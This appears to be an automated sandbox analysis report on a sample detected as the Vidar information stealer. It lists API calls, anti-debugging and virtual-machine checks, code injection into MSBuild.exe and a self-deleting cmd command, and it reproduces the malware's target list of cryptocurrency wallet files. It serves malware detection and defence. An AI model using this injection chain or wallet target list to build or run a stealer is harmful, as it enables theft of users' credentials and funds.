Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D9D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003D9D40
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E5A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_003E5A70
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DAAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_003DAAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_0040C2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00409D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00401110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_004099F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	6_2_00415A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	6_2_0040A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	6_2_004156C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00415EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	6_2_0040AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	6_2_00414F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_0040B390

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003E53C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_003E53C0

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003DFDA0 GetSystemInfo,wsprintfA,

0_2_003DFDA0

Source: C:\ProgramData\EHDHIDAEHC.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: EHDHIDAEHC.exe, 00000004.00000000.2083490533.0000000000602000.00000002.00000001.01000000.00000009.sdmp, mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr	Binary or memory string: EZCZTtShhMhGfSxfdfH
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003220000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000031BE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware8p

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	API call chain: ExitProcess graph end node			graph_0-71598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003ED12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_003ED12F

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003D2000 VirtualProtect 00000000,00000004,00000100,?

0_2_003D2000

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

0_2_003E7A40

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E76E0 mov eax, dword ptr fs:[00000030h]		0_2_003E76E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_004176E0 mov eax, dword ptr fs:[00000030h]		6_2_004176E0

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003E0420 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,HeapAlloc,wsprintfA,lstrcatA,GetCurrentHwProfileA,lstrlenA,lstrcatA,

0_2_003E0420

Source: C:\ProgramData\EHDHIDAEHC.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003EECC8 SetUnhandledExceptionFilter,	0_2_003EECC8
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003ED12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003ED12F
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003ECAF5 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_003ECAF5
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2CB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C2CB66C
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2CB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C2CB1F7
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C47AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C47AC62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0041ECC8 SetUnhandledExceptionFilter,	6_2_0041ECC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0041D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0041D12F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0041CAF5 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0041CAF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE142AF SetUnhandledExceptionFilter,	6_2_1FE142AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE12C8E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_1FE12C8E

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, type: SAMPLE
Source: Yara match	File source: Process Memory Space: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EHDHIDAEHC.exe PID: 5460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1596, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\ProgramData\EHDHIDAEHC.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003DED80 memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_003DED80

Injects a PE file into a foreign processes

Source: C:\ProgramData\EHDHIDAEHC.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E1400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification,	0_2_003E1400
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E12F0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	0_2_003E12F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00411400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	6_2_00411400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_004112F0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	6_2_004112F0

Writes to foreign memory regions

Source: C:\ProgramData\EHDHIDAEHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 420000	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 428000	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 63D000	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 63E000	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: D06008	Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Process created: C:\ProgramData\EHDHIDAEHC.exe "C:\ProgramData\EHDHIDAEHC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BFCAAEHJDBKJ" & exit	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003D1000 cpuid

0_2_003D1000

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	0_2_003DFC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	6_2_0040FC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesW,	6_2_20002CB6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesW,	6_2_20002D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesW,	6_2_20002DF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_20003300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,	6_2_1FE12112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,	6_2_1FE12112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_1FE13AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesW,	6_2_1FFEFF17

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Queries volume information: C:\ProgramData\EHDHIDAEHC.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003EA440 GetLocalTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_003EA440

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003DFAE0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_003DFAE0

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003DFBC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_003DFBC0

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000031BE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, type: SAMPLE
Source: Yara match	File source: 0.2.a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.439a680.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.436ce50.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.3e931c0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.3ec09f0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.439a680.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.436ce50.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.3ec09f0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.3e931c0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2094707680.000000000436C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094707680.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2092269679.0000000002FC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1698830320.00000000003F0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094707680.000000000439A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2343148482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094707680.0000000003E93000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EHDHIDAEHC.exe PID: 5460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1596, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
